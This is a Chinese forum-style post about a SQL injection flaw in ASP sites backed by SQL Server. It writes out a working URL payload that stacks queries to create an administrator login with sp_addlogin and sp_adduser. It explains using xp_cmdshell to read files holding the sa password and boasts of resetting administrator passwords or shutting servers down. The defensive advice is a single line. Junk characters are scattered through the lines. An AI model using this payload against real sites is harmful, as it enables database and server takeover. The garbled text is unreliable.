为了考证这种类型的程序BUG,笔者最近去了很多用ASP和SQL SERVER做的网站,发现绝大部分网站的程序有这个BUG,于是觉得有必要把这个问题贴出,以免大家犯同样的错误。
2 U( d8 l( E# T+ |# ]2 M { BUG描述:
! R5 v0 d; L$ `7 r5 m0 r( ~ 把一个有参数的xxx.asp?x=x程序变成xxx.asp?x=x;use pubs;exec sp_addlogin 'admin','admin','master';exec sp_adduser 'admin','admin','db_ower';--
8 e& B) g5 x8 Z& X) g( r( ~! T, S BUG讲解:
, {6 @0 n- P! F- g$ o1 p+ F 这个BUG是利用参数未过滤来执行SQL语句增加一个用户,然后可以用此用户连上SQL SERVER,再通过exec xp_cmdshell 'type x.asp'来查看存有sa密码的ASP文件来获得SQL SERVER的最高权限。, Q) o7 x7 o5 F8 F+ ~1 o
BUG消除:! d; A* ~/ X$ `7 N. c
程序增加参数过滤
: J' T- j" u* w/ t$ i8 L2 Y/ N0 B3 ^ 附:sp_addlogin和sp_adduser语法
% ^: f$ G7 w& A6 R0 Wsp_addlogin [@loginame =] 'login'
5 C% M2 o4 m9 o [,][@passwd =] 'password']
7 x+ J, J1 E1 A8 p, y [,][@defdb =] 'database']
, }/ p+ Z2 ?% W* }% @ [,][@deflanguage =] 'language']
" y: u; @, \) o. k) o% W2 P9 D3 M [,[@sid =] 'sid']
4 G: Q% A. r# }- e4 q! f [,][@encryptopt =] 'encryption_option']
, C6 ?6 y4 n6 D: Psp_adduser [@loginame =] 'login'
( K$ H/ q [. O [,][@name_in_db =] 'user']
- j ]+ [ o1 F% N3 Y [,][@grpname =] 'group']
+ h0 O _0 @8 R& L 注:如果采取SQL SERVER设为本地连接、改变端品号、drop xp_cmdshell等等可以防止很多攻击行为呀 ^_^
8 |: a S; m6 N& W) y0 h嘿嘿,这个BUG还可以用来改administrator的密码,让服务器关机等等
. `: h6 Q- ]/ u; } |